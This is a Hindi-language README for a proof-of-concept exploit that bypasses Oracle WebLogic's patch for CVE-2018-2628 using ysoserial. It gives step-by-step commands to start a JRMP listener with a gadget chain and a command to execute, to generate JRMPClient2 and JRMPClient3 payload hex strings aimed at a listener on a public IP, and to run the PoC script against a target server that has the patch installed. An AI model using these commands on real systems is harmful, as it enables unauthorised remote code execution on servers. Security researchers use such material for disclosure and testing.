
Oracle WebLogic CVE-2018-2628 पैच को बायपास करने के लिए कुछ कोड
कमांड फॉर्मेट:
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>
उदाहरण:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
जब *Opening JRMP listener on 22801 आउटपुट दिखाई दे, तो JRMPListener होस्ट का IP पता (उदाहरण में यह एक Alibaba Cloud ECS होस्ट पर चल रहा है जिसका सार्वजनिक IP 47.94.158.125 है) और निर्दिष्ट पोर्ट नोट कर लें।
वर्तमान में दो ज्ञात विधियाँ हैं (Payload Object String जनरेट करते समय नीचे दी गई दोनों में से कोई एक चुनें):
Payload Object String जनरेट करने का कमांड फॉर्मेट:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
उदाहरण:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
नमूना (JRMPClient2 से जनरेट किया गया Payload object बाइनरी आउटपुट):

Payload Object String जनरेट करने का कमांड फॉर्मेट:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
उदाहरण:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
नमूना (JRMPClient3 से जनरेट किया गया Payload object बाइनरी आउटपुट):

wls-cve-2018-2628-poc.py को संपादित करें, पिछले चरण में जनरेट किए गए hex स्ट्रिंग को स्क्रिप्ट के शीर्ष पर रखे गए payload_str वेरिएबल के मान से बदलें (इस स्क्रिप्ट में पहले से मौजूद दोनों payload_str वेरिएबल के मान सीधे उपयोग किए जा सकते हैं, जो उपरोक्त दो विधियों से जनरेट किए गए hex स्ट्रिंग के अनुरूप हैं)।
कमांड फॉर्मेट:
python wls-cve-2018-2628-poc.py <लक्ष्य WebLogic Server इंस्टेंस का सुनने वाला IP> <लक्ष्य WebLogic Server इंस्टेंस का सुनने वाला पोर्ट>
उदाहरण:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
नमूना (Patch Set Update 180417 इंस्टॉल किया हुआ):

xxlegend@nsfocus (CVE-2018-2628 की खोज करने वालों और प्रस्तुतकर्ताओं में से एक, जिन्होंने शोषण तकनीक और संबंधित कोड उदाहरण प्रकट किए) badcode@knownsec (weblogic.jms.common.StreamMessageImpl का उपयोग कर java.rmi.registry.Registry को एन्कैप्सुलेट करने का कोड उदाहरण प्रदान किया) ysoserial प्रोजेक्ट (कई Java deserialization शोषण प्रोग्रामों का संकलन)